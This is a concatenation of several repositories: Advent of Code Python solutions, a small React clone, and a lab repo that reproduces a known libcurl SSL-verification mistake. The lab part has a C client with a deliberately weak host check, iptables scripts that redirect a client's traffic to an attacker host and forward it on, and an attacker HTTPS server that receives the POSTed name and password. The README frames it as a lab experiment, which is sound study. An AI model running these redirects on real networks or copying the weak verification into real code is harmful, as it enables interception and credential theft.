for idx, location in enumerate(inputCoordinates):
if finite(idx):
areaSize = sum([row.count(idx) for row in nearestLocations])
if areaSize > largestArea:
largestArea = areaSize
print(largestArea)
<file_sep>import re
import datetime
import operator
def orderRecords(inputRecords):
return sorted(inputRecords)
def parseRecord(record):
timestamp = record[record.find('[') + 1 : record.find(']')]
event = record[record.find(']') + 2 : record.find('\n')]
return timestamp, event
def getGuardID(event):
return re.search(r'#\d+', event).group(0)[1:]
def minutesAsleep(asleepTimestamp, wakeTimestamp):
asleepDate = datetime.datetime.strptime(asleepTimestamp, '%Y-%m-%d %H:%M')
wakeDate = datetime.datetime.strptime(wakeTimestamp, '%Y-%m-%d %H:%M')
asleep = []
minuteAsleep = asleepDate
while(minuteAsleep != wakeDate):
asleep.append(minuteAsleep.minute)
minuteAsleep += datetime.timedelta(minutes = +1)
return asleep
def getGuardsAsleepMinutes(orderedRecords):
guardOnShift = -1
guardsAsleep = {}
asleepTimestamp = ''
for record in orderedRecords:
timestamp, event = parseRecord(record)
if 'begins shift' in event:
guardOnShift = getGuardID(event)
elif 'falls asleep' in event:
asleepTimestamp = timestamp
elif 'wakes up' in event:
if guardOnShift not in guardsAsleep:
guardsAsleep[guardOnShift] = minutesAsleep(asleepTimestamp, timestamp)
else:
guardsAsleep[guardOnShift] += minutesAsleep(asleepTimestamp, timestamp)
asleepTimestamp = ''
return guardsAsleep
def getFrequentlyAsleepGuard(guardsAsleep):
guardFrequentlyAsleepID = -1
guardFrequentlyAsleepMinute = -1
maximumSleepFrequency = -1
for guardID in guardsAsleep:
guardMostAsleepMinute = max(set(guardsAsleep[guardID]), key=guardsAsleep[guardID].count)
if maximumSleepFrequency < guardsAsleep[guardID].count(guardMostAsleepMinute):
guardFrequentlyAsleepMinute = guardMostAsleepMinute
maximumSleepFrequency = guardsAsleep[guardID].count(guardMostAsleepMinute)
guardFrequentlyAsleepID = guardID
return int(guardFrequentlyAsleepID) * guardFrequentlyAsleepMinute
inputFile = open('input', 'r')
inputRecords = inputFile.readlines()
inputFile.close()
orderedRecords = orderRecords(inputRecords)
guardOnShift = -1
guardsAsleep = {}
asleepTimestamp = ''
for record in orderedRecords:
timestamp, event = parseRecord(record)
if 'begins shift' in event:
guardOnShift = getGuardID(event)
elif 'falls asleep' in event:
asleepTimestamp = timestamp
elif 'wakes up' in event:
if guardOnShift not in guardsAsleep:
guardsAsleep[guardOnShift] = minutesAsleep(asleepTimestamp, timestamp)
else:
guardsAsleep[guardOnShift] += minutesAsleep(asleepTimestamp, timestamp)
asleepTimestamp = ''
guardsAsleep = getGuardsAsleepMinutes(orderRecords(inputRecords))
print(getFrequentlyAsleepGuard(guardsAsleep))
<file_sep>import re
def splitAndTransform(description):
return [int(description[1 : description.find(',')]), int(description[description.find(',') + 1 : -1])]
def processInputFile(inputContent):
pointCoordinates = []
pointVelocities = []
for point in inputContent:
descriptions = re.findall(r'<[^>]*>', point)
pointCoordinates.append(splitAndTransform(descriptions[0]))
pointVelocities.append(splitAndTransform(descriptions[1]))
return pointCoordinates, pointVelocities
def movePoints():
global pointCoordinates
for i in range(pointCount):
pointCoordinates[i] = [pointCoordinates[i][0] + pointVelocities[i][0], pointCoordinates[i][1] + pointVelocities[i][1]]
def printMessage():
maxX = max(pointCoordinates, key = lambda x : x[0])[0]
minX = min(pointCoordinates, key = lambda x : x[0])[0]
maxY = max(pointCoordinates, key = lambda x : x[1])[1]
minY = min(pointCoordinates, key = lambda x : x[1])[1]
for y in range(minY, maxY + 1):
for x in range(minX, maxX + 1):
if [x, y] in pointCoordinates:
print('#', end='')
else:
print('.', end='')
print('')
inputFile = open('input', 'r')
inputContent = inputFile.readlines()
inputFile.close()
pointCoordinates, pointVelocities = processInputFile(inputContent)
pointCount = len(pointCoordinates)
for i in range(10076):
movePoints()
printMessage()
<file_sep>import re
def splitAndTransform(description):
return [int(description[1 : description.find(',')]), int(description[description.find(',') + 1 : -1])]
def processInputFile(inputContent):
pointCoordinates = []
pointVelocities = []
for point in inputContent:
descriptions = re.findall(r'<[^>]*>', point)
pointCoordinates.append(splitAndTransform(descriptions[0]))
pointVelocities.append(splitAndTransform(descriptions[1]))
return pointCoordinates, pointVelocities
def movePoints():
global pointCoordinates
for i in range(pointCount):
pointCoordinates[i] = [pointCoordinates[i][0] + pointVelocities[i][0], pointCoordinates[i][1] + pointVelocities[i][1]]
inputFile = open('input', 'r')
inputContent = inputFile.readlines()
inputFile.close()
pointCoordinates, pointVelocities = processInputFile(inputContent)
pointCount = len(pointCoordinates)
for i in range(10076):
movePoints()
print(i + 1)
<file_sep>inputFile = open('input', 'r')
inputSequence = inputFile.readlines()
inputFile.close()
frequency = 0
for line in inputSequence:
difference = int(line[1:-1])
frequency += difference if line[0] == '+' else difference * (-1)
print(frequency)
<file_sep>import re
import datetime
import operator
def orderRecords(inputRecords):
return sorted(inputRecords)
def parseRecord(record):
timestamp = record[record.find('[') + 1 : record.find(']')]
event = record[record.find(']') + 2 : record.find('\n')]
return timestamp, event
def getGuardID(event):
return re.search(r'#\d+', event).group(0)[1:]
def minutesAsleep(asleepTimestamp, wakeTimestamp):
asleepDate = datetime.datetime.strptime(asleepTimestamp, '%Y-%m-%d %H:%M')
wakeDate = datetime.datetime.strptime(wakeTimestamp, '%Y-%m-%d %H:%M')
asleep = []
minuteAsleep = asleepDate
while(minuteAsleep != wakeDate):
asleep.append(minuteAsleep)
minuteAsleep += datetime.timedelta(minutes = +1)
return asleep
def getGuardsAsleepTimestamps(orderedRecords):
guardOnShift = -1
guardsAsleep = {}
asleepTimestamp = ''
for record in orderedRecords:
timestamp, event = parseRecord(record)
if 'begins shift' in event:
guardOnShift = getGuardID(event)
elif 'falls asleep' in event:
asleepTimestamp = timestamp
elif 'wakes up' in event:
if guardOnShift not in guardsAsleep:
guardsAsleep[guardOnShift] = minutesAsleep(asleepTimestamp, timestamp)
else:
guardsAsleep[guardOnShift] += minutesAsleep(asleepTimestamp, timestamp)
asleepTimestamp = ''
return guardsAsleep
def getMostAsleepGuardID(guardsAsleep):
guardMostAsleepID = -1
guardMostAsleepMinutes = -1
for guardID in guardsAsleep:
if guardMostAsleepMinutes < len(guardsAsleep[guardID]):
guardMostAsleepMinutes = len(guardsAsleep[guardID])
guardMostAsleepID = guardID
return guardMostAsleepID
def getMostAsleepMinute(guardAsleep):
minutesAsleep = {}
for minuteAsleep in guardAsleep:
if minuteAsleep.minute in minutesAsleep:
minutesAsleep[minuteAsleep.minute] += 1
else:
minutesAsleep[minuteAsleep.minute] = 1
return max(minutesAsleep.items(), key=operator.itemgetter(1))[0]
inputFile = open('input', 'r')
inputRecords = inputFile.readlines()
inputFile.close()
guardsAsleep = getGuardsAsleepTimestamps(orderRecords(inputRecords))
guardMostAsleepID = getMostAsleepGuardID(guardsAsleep)
mostAsleepMinute = getMostAsleepMinute(guardsAsleep[guardMostAsleepID])
print(int(guardMostAsleepID) * mostAsleepMinute)
<file_sep>def splitLine(line):
xStart = int(line[line.find('@') + 2 : line.find(',')])
yStart = int(line[line.find(',') + 1 : line.find(':')])
xLength = int(line[line.find(':') + 2 : line.find('x')])
ylength = int(line[line.find('x') + 1 : line.find('\n')])
return xStart, yStart, xLength, ylength
def overlaps(line):
xStart, yStart, xLength, ylength = splitLine(line)
for i in range(xStart, xStart + xLength):
for j in range(yStart, yStart + ylength):
key = str(i) + "," + str(j)
if claimedAreas[key] > 1:
return True
return False
inputFile = open('input', 'r')
inputClaims = inputFile.readlines()
inputFile.close()
claimedAreas = {}
for line in inputClaims:
xStart, yStart, xLength, ylength = splitLine(line)
for i in range(xStart, xStart + xLength):
for j in range(yStart, yStart + ylength):
key = str(i) + "," + str(j)
if key not in claimedAreas:
claimedAreas[key] = 1
else:
claimedAreas[key] = claimedAreas[key] + 1
for line in inputClaims:
if not overlaps(line):
print(line[1 : line.find('@') - 1])
exit(0)
<file_sep>inputFile = open('input', 'r')
inputSequence = inputFile.readlines()
inputFile.close()
frequency = 0
reachedFrequencies = []
freqChangesIndex = 0
freqChangesLength = len(inputSequence)
while(frequency not in reachedFrequencies):
reachedFrequencies.append(frequency)
difference = int(inputSequence[freqChangesIndex % freqChangesLength][1:-1])
frequency += difference if inputSequence[freqChangesIndex % freqChangesLength][0] == '+' else difference * (-1)
freqChangesIndex += 1
print(frequency)
<file_sep>HEADER_LENGTH = 2
entriesSum = 0
inputFile = open('input', 'r')
inputSequence = inputFile.readlines()
inputFile.close()
inputSequence = inputSequence[0].split(' ')
def addEntries(metadataEntries):
global entriesSum
metadataEntries = [int(x) for x in metadataEntries]
entriesSum += sum(metadataEntries)
def processChildSequences(childNodesCount):
global inputSequence
for _ in range(childNodesCount):
childSubnodesCount = int(inputSequence[0])
entriesCount = int(inputSequence[1])
if childSubnodesCount == 0:
metadataEntries = inputSequence[HEADER_LENGTH : HEADER_LENGTH + entriesCount]
addEntries(metadataEntries)
inputSequence = inputSequence[entriesCount + HEADER_LENGTH :]
else:
inputSequence = inputSequence[2 :]
processChildSequences(childSubnodesCount)
metadataEntries = inputSequence[: entriesCount]
addEntries(metadataEntries)
inputSequence = inputSequence[entriesCount :]
def processNode():
global entriesSum
global inputSequence
childNodesCount = int(inputSequence[0])
entriesCount = int(inputSequence[1])
metadataEntries = inputSequence[-entriesCount :]
addEntries(metadataEntries)
inputSequence = inputSequence[2 : -entriesCount]
processChildSequences(childNodesCount)
processNode()
print(entriesSum)
| 6043476d3160203ba184f049e87ad725df156011 | [
"Python"
] | 17 | Python | Bihanojko/AdventOfCode2018 | 9bce866219ec6f686cc350fd0cb1df51c6de9e30 | 9875bea474391e72aa0d25ed1031b6b589e199d2 |
refs/heads/master | <repo_name>CarosZch/my_react<file_sep>/src/react/Component.js
class Component {
constructor(props) {
this.props = props
}
setState(pritialState) {
// 修改状态
console.log(pritialState)
}
}
export default Component<file_sep>/src/react/createElement.js
/**
* 虚拟DOM对象
*/
class Element {
constructor(type, props) {
this.type = type;
this.props = props;
this.key = props.key // dom-diff 对比
}
}
/**
* 创建DOM
* @param { String } type 标签名称
* @param { String | Object | Function } props 属性、样式、事件
* @param { ...any } children 子DOM
*/
const createElement = function(type, props = {}, ...children) {
props = props || {};
// 子DOM 作为 children属性赋予父DOM
props.children = children;
// 新的虚拟DOM
return new Element(type, props);
}
export default createElement<file_sep>/README.md
简单的React实现
createReactUnit 创建react单例
createElement 创建虚拟组件
Component 自定义组件对象(setState未实现)
<file_sep>/src/react/createReactUnit.js
// 简单工厂模式 一个dom就是一个unit(单元)
// 单元<爹>
class Unit {
constructor(element) {
// 当前的组件/对象
this._currentElement = element;
}
}
// 文本单元<子>, 继承了单元<爹>
class ReactTextUnit extends Unit {
// 创建实例
getMarkup(rootId) {
this._rootId = rootId
return `<span data-rid="${ this._rootId }">${ this._currentElement }</span>`
}
}
// 原生单元<子>, 继承了单元<爹>
class ReactNativeUnit extends Unit {
// 创建实例
getMarkup(rootId) {
this._rootId = rootId
return recursionCreate(this._currentElement, rootId)
}
}
/**
* 创建element 返回element.outerHTML
* @param {Object} { type, props } createElement对象
* @param {*} rootId
*/
function recursionCreate({ type, props }, rootId) {
// 创建DOM
const DOM = document.createElement(type)
// 给予ID
DOM.setAttribute('data-rid', rootId)
for (const key in props) {
if (key === 'children') {
// 为子单元
let children = props.children || []
children.forEach((e, i) => {
if (typeof e === 'string' || typeof e === 'number') {
// 为非单元
DOM.innerHTML += createReactUnit(e).getMarkup(rootId + '.' + i)
} else {
// 为单元,递归插入
DOM.innerHTML += recursionCreate(e, rootId + '.' + i)
}
})
} else if (/^on[A-Z]/.test(key)) {
// 为事件, 做事件委托
delegate(rootId, key, props[key])
} else if (typeof props[key] === 'string') {
// 为属性,添加
DOM.setAttribute(key, props[key])
} else {
// 为样式style,修改后添加(react不允许style传字符串)
DOM.setAttribute(key, objToStyle(props[key]))
}
}
// 返回单元的字符串
return DOM.outerHTML
}
/**
* 对象样式转行内样式
* @param {Object} obj 对象
*/
function objToStyle(obj, str='') {
for (const key in obj) {
str += `${
// 驼峰转带"-"的样式
key.replace(/[A-Z]/g, function (word) {
return "-" + word.toLowerCase()
})
}:${
obj[key]
};`
}
return str
}
/**
* 事件委托
* @param { String } dataReactId react的id属性
* @param { String } event 事件名称 如onClick
* @param { Function } fn 事件回调函数
*/
function delegate(dataReactId, event, fn) {
// onClick => addEventListener('click', fn())
document.addEventListener(event.replace(/^on/, '').toLowerCase(), function(event) {
// 当点击对象的data-rid是所选对象的子单元,执行fn
const tar = event.target.getAttribute('data-rid')
// 忽略html、body等不相干标签
tar && tar.indexOf(dataReactId) === 0 && fn()
})
}
class ReactCompositeUnit extends Unit {
getMarkup(rootId) {
this._rootId = rootId;
let { type:Component, props } = this._currentElement;
// 创建组件的实例
let componentInstance = this._componentInstance = new Component(props);
// 生命周期
componentInstance.componentWillMount && componentInstance.componentWillMount();
// 得到返回的虚拟DOM(React)
let rennderedElement = componentInstance.render();
// 渲染出单元实例
let rennderedUnitInstance = createReactUnit(rennderedElement)
process.nextTick(() => {
componentInstance.componentDidMount && componentInstance.componentDidMount();
})
return rennderedUnitInstance.getMarkup(rootId)
}
}
/**
* 创建 React的虚拟DOM
* 根据参数不同 返回不同类型的实例 一般来说都是同一个父类的子类
* @param {*} element 虚拟DOM写法对象
*/
function createReactUnit (element) {
// 数字、字符串
if (typeof element === 'number' || typeof element === 'string') {
return new ReactTextUnit(element);
};
// 虚拟DOM
if (typeof element === 'object' && typeof element.type === 'string') {
return new ReactNativeUnit(element);
};
// 自定义组件
if (typeof element === 'object' && typeof element.type === 'function') {
return new ReactCompositeUnit(element);
}
}
export default createReactUnit<file_sep>/src/index.js
import React from './react'
/*
* jsx语法
<div id="box" style="border:1px solid #cccccc;height:100px;width:100px;">
<input value="我是输入内容" style="float:left;"/>
<button style="float:left;margin-left:15px;">
我是
<b>按钮</b>
</button>
</div>
*/
// jsx -> object ( https://babeljs.io/repl/ )
let element = React.createElement(
'div',
{ id: 'box', style: { border: '1px solid #cccccc', height: '100px', width: '300px' }},
React.createElement(
'input',
{ id: 'ipt', style: { float: 'left' }, value: '我是输入内容'}
),
React.createElement(
'button',
{ id: 'btn', style: { float: 'left', marginLeft: '15px' }, onMousedown: function() { alert('点击了!') }},
'我是',
React.createElement('b', {}, '按钮')
)
);
/**
* 自定义组件
*/
class customComponents extends React.Component {
constructor(props) {
super(props);
this.state = {
num: 1
};
}
componentWillMount() {
console.log('组件将要挂载');
}
componentDidMount() {
console.log('组件已经挂载');
}
handelClick = () => {
this.setState({
num: this.state.num++
});
}
render() {
const p = React.createElement('p', {}, this.state.num);
const btn = React.createElement('button', {
onClick: this.handelClick
}, '+');
return React.createElement('div', {}, p, btn);
}
}
element = React.createElement(customComponents, {name: '自定义组件'})
React.render(element, document.getElementById('root'));
| ce25e4c1cc9439afa1b07efacfe99dc1f04a981c | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | CarosZch/my_react | b57bad3d65e5526d6ce0675377c51fc787c9783f | 62e58bd596e62562c750b72e462ec231fcb89b3b |
refs/heads/master | <repo_name>LuanBSPinheiro/Tasks<file_sep>/app/src/main/java/com/example/tasks/viewmodel/LoginViewModel.kt
package com.example.tasks.viewmodel
import android.app.Application
import androidx.lifecycle.AndroidViewModel
import com.example.tasks.service.HeaderModel
import com.example.tasks.service.listener.APIListener
import com.example.tasks.service.repository.PersonRepository
class LoginViewModel(application: Application) : AndroidViewModel(application) {
private val mPersonRepository = PersonRepository()
/**
* Faz login usando API
*/
fun doLogin(email: String, password: String) {
mPersonRepository.login(email, password, object : APIListener{
override fun onSuccsess(model: HeaderModel) {
val s = ""
}
override fun onFailure(str: String) {
val s = ""
}
})
}
/**
* Verifica se usuário está logado
*/
fun verifyLoggedUser() {
}
} | 654ece4719261dd7b8f602a5f01282ff1b74cd58 | [
"Kotlin"
] | 1 | Kotlin | LuanBSPinheiro/Tasks | e7aca0f736a8701258b6402b78f04c121247fa3d | 25310adb7e6b74f64f8d60a4fc4b78cecea5e543 |
refs/heads/master | <repo_name>cuphan/ubuntu-nginx-server<file_sep>/provision.sh
#!/bin/bash
apt-get update
apt-get -y upgrade
apt-get install -y build-essential
apt-get install -y libffi-dev
apt-get install -y libssl-dev
apt-get install -y python-dev
command -v pip &>/dev/null || {
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
}
command -v ansible &>/dev/null || {
pip install ansible
}<file_sep>/README.md
# ubuntu-nginx-server
This will install the Ubuntu 14.04 LTS, Nginx, Datadog, ...
## Install
* Virtual Box with Extension Pack
* Vagrant (must executable on command line)
## Running
```
$ vagrant up
$ vagrant provision
```
## Author
* <NAME> - <EMAIL><file_sep>/provisioning/roles/Datadog.datadog/CHANGELOG.md
CHANGELOG
=========
# 1.1.0 / 2016-06-27
* [FEATURE] Allow APT repo settings to be user-defined. See [#20][] (thanks [@geoffwright][])
# 1.0.0 / 2016-06-08
Initial release, compatible with Ansible v1 & v2
[#20]: https://github.com/DataDog/ansible-datadog/issues/20
[@geoffwright]: https://github.com/geoffwright
| 06c9373069f985ac28416ef29b25cd844ac4a98c | [
"Markdown",
"Shell"
] | 3 | Shell | cuphan/ubuntu-nginx-server | f3326ce7d7e7e2222afaf0a5e12528b0320097f9 | 6666bd97835d60b24a0718073926160e41d4108a |
refs/heads/master | <repo_name>yzchen/ssl-bad-interface<file_sep>/remote-machine/gen-cert.sh
#!/bin/bash
if [[ ! -n "$1" || "$1" = "-h" || "$1" = "--help" ]] ;
then
echo "generate certificates for server and attacker"
echo "usage: ./gen-cert remote-mode(server) net-interface(enp3s0f0)"
echo "example: ./gen-cert server eno1"
else
MODE=$1
NET=$2
# default mode: server
if [[ ! -n "$MODE" ]]
then
MODE=server
fi
# default network interface for cluster
if [[ ! -n "$NET" ]]
then
NET=enp3s0f0
fi
ipaddr=`ip addr show ${NET} | grep "inet\b" | awk '{print $2}' | cut -d/ -f1`
echo "CN = $ipaddr" >> ./ssl.conf
openssl req -new -x509 -days 365 -nodes -out ${MODE}.pem -keyout ${MODE}.pem -config ./ssl.conf
fi<file_sep>/remote-machine/py2-attacker.py
from io import BytesIO
import ssl
import BaseHTTPServer
import SimpleHTTPServer
class GP(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
# Send response status code
self.send_response(200)
# Send headers
self.send_header('Content-type','text/html')
self.end_headers()
# Send message back to client
message = "Attacker. GET request. Hello world!\n"
# Write content as utf-8 data
self.wfile.write(message)
return
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
self.send_response(200)
self.end_headers()
response = BytesIO()
response.write(b'Attacker. POST request. ')
response.write(b'Received: ')
response.write(body)
self.wfile.write(response.getvalue() + b'\n')
server_address = ('172.18.0.29', 11111)
httpd = BaseHTTPServer.HTTPServer(server_address, GP)
# httpd = BaseHTTPServer.HTTPServer(server_address, SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
server_side=True,
certfile='attacker.pem',
ssl_version=ssl.PROTOCOL_TLSv1)
httpd.serve_forever()
<file_sep>/client/client-forwarding.sh
#!/bin/bash
if [[ ! -n "$1" || "$1" = "-h" || "$1" = "--help" ]] ;
then
echo "forward client traffic to attacker"
echo "usage: ./prepare attacker-ip attacker-port"
echo "example: ./prepare 172.18.0.29 11111"
else
ATTACKERIP=$1
ATTACKERPORT=$2
# default attacker ip
if [[ ! -n "$ATTACKERIP" ]]
then
ATTACKERIP=172.18.0.29
fi
# default attacker port
if [[ ! -n "$ATTACKERPORT" ]]
then
ATTACKERPORT=11111
fi
sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination $ATTACKERIP:80
sudo iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination $ATTACKERIP:443
sudo iptables -t nat -A OUTPUT -p tcp --dport $ATTACKERPORT -j DNAT --to-destination $ATTACKERIP:$ATTACKERPORT
# how to remove added rules
# sudo iptables -t nat -D OUTPUT 2
fi<file_sep>/README.md
# SSL Bad Interface
OpenSSL implementation has bad interface(and documentation), it's easy to write code with bugs.
Referenced paper: [The most dangerous code in the world: validating SSL certificates in non-browser software](https://crypto.stanford.edu/~dabo/pubs/abstracts/ssl-client-bugs.html)
## 1. Simple Forwarding Attack
#### Forward Output Message to Attacker on Client
```
sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.18.0.29:80
sudo iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.18.0.29:443
sudo iptables -t nat -A OUTPUT -p tcp --dport 11111 -j DNAT --to-destination 172.18.0.29:11111
```
By doing above you will forward all output messages through ports(80, 443, 11111) to specific ip(172.18.0.29, here is attacker ip).
Note:
1. how to check added rules?
`sudo iptables -t nat -nvL --line-numbers`
2. how to delete existing rules?
`sudo iptables -t nat -D OUTPUT 4`
#### Setup Server/Attacker
Follow instructions in [python/README.md](./python/README.md), setup server and attacker.
#### Test with curl Command
On client, use `curl` command to make a GET request to server(172.18.0.30) with insecure connection(`-k` = `--insecure`):
`curl -k https://172.18.0.29:11111`
You are supposed to get result:
`This is a GET request from attacker(quadro). Hello world!`
If you use `curl` with certificate:
`curl --cacert ./python/server.pem https://172.18.0.29:11111`
Actually you will get an error saying: server certificate verification failed.
#### Test with libcurl Library
Before compilation, you should make sure `libcurl-dev` is on your system.
`sudo apt install libcurl4-openssl-dev`
And make sure as client, you should have certificate of the server you want to connect. It's under `python/server`.
Compile libcurl code:
`gcc curl-server.c -lcurl`
Run:
`./a.out`
You will get result:
```
➜ ./a.out
CURLcode after verifyhost: 43
Attacker. GET request. Hello world!
Attacker. POST request.Received: name=<PASSWORD>y0l&pswd=<PASSWORD>
```
Inside the code I was connecting the server mcnode19, but finally I received response from attacker mcnode18.
## 2. Man-in-the-middle Attack
As we already forwarded messages to attacker, now we will simulate actual man-in-the-middle attack.
We forwarded messages to attacker as the same, and we will forward the incoming messages to the real server.
By doing this, attacker can steal the information from client to the server without client knowing anything.
Run following commands on attacker(mcnode18):
```
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 172.18.0.30:80
sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 172.18.0.30:443
sudo iptables -t nat -A PREROUTING -p tcp --dport 11111 -j DNAT --to-destination 172.18.0.30:11111
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
```
Now client can get the correct response from normal server, but all messages can be seen by attacker.
Run the libcurl code above:
`./a.out`
You will get result:
```
➜ ./a.out
CURLcode after verifyhost: 43
Server. GET request. Hello world!
Server. POST request. Received: name=cheny0l&pswd=<PASSWORD>
```
How to monitor the traffic through specific port:
`sudo tcpdump -i any port 11111`
Check package content using tcpdump:
`sudo tcpdump -qns 0 -X -i any port 11111`
Or dump to file:
`sudo tcpdump -qns 0 -X -i any port 11111 -w ssltest.pcap`
Show ip address of specific network card:
`ip addr show enp3s0f0 | grep "inet\b" | awk '{print $2}' | cut -d/ -f1`
<file_sep>/remote-machine/attacker-forward.sh
#!/bin/bash
if [[ ! -n "$1" || "$1" = "-h" || "$1" = "--help" ]] ;
then
echo "forward attacker traffic to server"
echo "usage: ./prepare server-ip server-port"
echo "example: ./prepare 172.18.0.30 11111"
else
SERVERIP=$1
SERVERPORT=$2
# default attacker ip
if [[ ! -n "$SERVERIP" ]]
then
SERVERIP=172.18.0.30
fi
# default attacker port
if [[ ! -n "$SERVERPORT" ]]
then
SERVERPORT=11111
fi
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $SERVERI:80
sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $SERVERI:443
sudo iptables -t nat -A PREROUTING -p tcp --dport $SERVERPOR -j DNAT --to-destination $SERVERI:$SERVERPOR
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
# how to remove added rules
# sudo sysctl -w net.ipv4.ip_forward=0
# sudo iptables -t nat -D PREROUTING 2
# sudo iptables -t nat -D POSTROUTING 2
fi<file_sep>/client/curl-server.c
#include <stdio.h>
#include <curl/curl.h>
#define TRUE 1
#define FALSE 0
// definitions for server ip and port
#define SERVER_IP "https://172.18.0.30"
#define SERVER_PORT "11111"
int main(int argc, char *argv[]) {
CURLcode ret;
CURL *curl = curl_easy_init();
if(curl) {
// server: mcnode19, 172.18.0.30
// attacker: mcnode18, 172.18.0.29
// set up remote server
curl_easy_setopt(curl, CURLOPT_URL, SERVER_IP ":" SERVER_PORT);
// set up certificate
curl_easy_setopt(curl, CURLOPT_CAINFO, "./python/server.pem");
// CURLOPT_SSL_VERIFYHOST v.s. CURLOPT_SSL_VERIFYPEER
// VERYFYPEER : 0/1
// VERIFYHOST : 0/1/2, 0/2 correspond to 0/1 in VERIFYPEER
// wrong way to verify server
ret = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, TRUE);
// // correct way to verify server
// ret = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L);
printf("CURLcode after verifyhost: %d\n", ret);
if (ret < 0) { // error when verifying server host
fprintf(stderr, "verifyhost failed : %s\n", curl_easy_strerror(ret));
} else { // no error
// perform GET request
curl_easy_perform(curl);
// perform POST request
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "name=cheny0l&pswd=cheny0l");
curl_easy_perform(curl);
}
curl_easy_cleanup(curl);
}
curl_global_cleanup();
return 0;
}
<file_sep>/remote-machine/README.md
# Run Https Server on Server/Attacker
1. Software requirements:
- Python2
- Python libraries: [requirements.txt](./requirements.txt)
2. Small cluster with internal network is used here.
Nodes information (ip address and hostname):
|Node Information|IP Address|Host Name|
|:------------:|:-------------:|:-------------:|
|malicious attacker|172.18.0.29|mcnode18|
|normal server|172.18.0.30|mcnode19|
|test client|172.18.0.31|mcnode20|
## 1. Generate certificates
If you want to open https server, certificate is needed. Usually business certificate needs money to buy and it takes time to get response. Good news is `openssl` can generate temporal certificates for experiment use.
Using `ssl.conf` config file, generate certificate without prompt by running `./gen-cert.sh`.
#### Example pem Files
`openssl` can generate self-signed certificates.
Two self-signed certificates are named as [server.pem](./server.pem) and [attacker.pem](./attacker.pem).
These pem files have structure like:
```
-----BEGIN PRIVATE KEY-----
........................
.....(private part).....
........................
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
........................
...(certificate part)...
........................
-----END CERTIFICATE-----
```
One example certificate is [attached](./sample.pem).
Clients should keep only certificate part, they should have a file like:
```
-----BEGIN CERTIFICATE-----
........................
...(certificate part)...
........................
-----END CERTIFICATE-----
```
## 2. Start Https Server
Run following on the true server:
`python py2-server.py`
Run following on the attacker:
`python py2-attacker.py`
These two Python files will both open server with https, that means normally you should have certificate to verify the server, it's much more secure that http server.
But if you only want to simulate Man-in-the-middle attack, http server is enough.
You can do following on server and attacker machines:
`python -m SimpleHTTPServer 11111`
This command will simply open a http server.
However for this experiment, I want ssl connection, hence https is neccessary.
## 3. Optional: How to Access Https Server in Browser
(Because of special settings of the cluster, VPN is needed when accessing the ip address.)
After server and attacker are setup. You can access the webpage through through browser.
Using Firefox, type `https://172.18.0.30:11111`, a warning will be shown on the webpage:
`Warning: Potential Security Risk Ahead`
You need to accept the risk and continue, then you will see the webpage.
Actually you can also add above certificate part into the browser, then the browser can understand the webpage normally.
<file_sep>/client/run-client.sh
#!/bin/bash
if [[ ! -n "$1" || "$1" = "-h" || "$1" = "--help" ]] ;
then
echo "prepare for cilent running"
echo "usage: ./prepare server-ip remote-user cert-path"
echo "example: ./prepare 172.18.0.30 ubuntu test/python/"
else
SERVERIP=$1
REMOTEUSER=$2
CERTPATH=$3
# default server ip
if [[ ! -n "$SERVERIP" ]]
then
SERVERIP=172.18.0.3
fi
# default user name
if [[ ! -n "$REMOTEUSER" ]]
then
REMOTEUSER=ubuntu
fi
# you should know certificate path on remote server
# if libcurl-dev is not installed, install it
sudo apt install libcurl4-openssl-dev
# copy certificate file from remote server to local client
scp REMOTEUSER@SERVERIP:/home/REMOTEUSER/$CERTPATH/server.pem .
# compile the program
gcc curl-server.c -lcurl
# run client
./a.out
fi
| 2f3b96a7a6141105b011c38393f3a81698520237 | [
"Markdown",
"C",
"Python",
"Shell"
] | 8 | Shell | yzchen/ssl-bad-interface | 8575dafcfed11bf90008fbb1f265c53fce06db41 | 1aa30862318d0f6e129d80ae8831782d105a3531 |
refs/heads/master | <repo_name>MounaKaroui/EmbeddingPythonCpp<file_sep>/CallPython.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
// @author <NAME>
// Juillet 2019
#include "CallPython.h"
namespace artery {
void CallPython::initializePython()
{
std::cout << "Start call python" << "\n";
if (!Py_IsInitialized())
{
Py_Initialize();
}
// 2) Initialise python thread mechanism
if (!PyEval_ThreadsInitialized())
{
PyEval_InitThreads();
assert(PyEval_ThreadsInitialized());
}
}
// clean python objects
void CallPython::cleanPythonObjects(PyObject* obj)
{
if(obj!=NULL)
{
Py_DECREF(obj);
}
}
void CallPython::predictDecision()
{
PyGILState_STATE s = PyGILState_Ensure();
PyRun_SimpleString("import sys; sys.path.append('pathToScript/predictionScripts')");
PyObject *pName = PyUnicode_DecodeFSDefault((char*)"PredictLteTraffic");
PyObject* pModule = PyImport_Import(pName);
if (pModule != NULL)
{
